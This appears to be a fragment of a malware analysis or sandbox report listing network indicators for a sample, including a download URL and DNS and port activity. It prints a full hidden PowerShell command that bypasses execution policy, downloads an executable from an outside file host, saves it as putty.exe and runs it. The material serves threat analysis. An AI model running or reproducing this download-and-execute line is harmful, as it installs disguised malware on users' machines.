Technical Information
- https://a.pomf.cat/ogomzw.exe as %temp%\putty.exe
- 'a.##mf.cat':443
- 'a.##mf.cat':443
- DNS ASK a.##mf.cat
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -nop -ep bypass (New-Object System.Net.WebClient).DownloadFile('https://a.pomf.cat/ogomzw.exe','%TEMP%\putty.exe'); Start-Process('%TEMP%\putty.exe')' (with hidden window)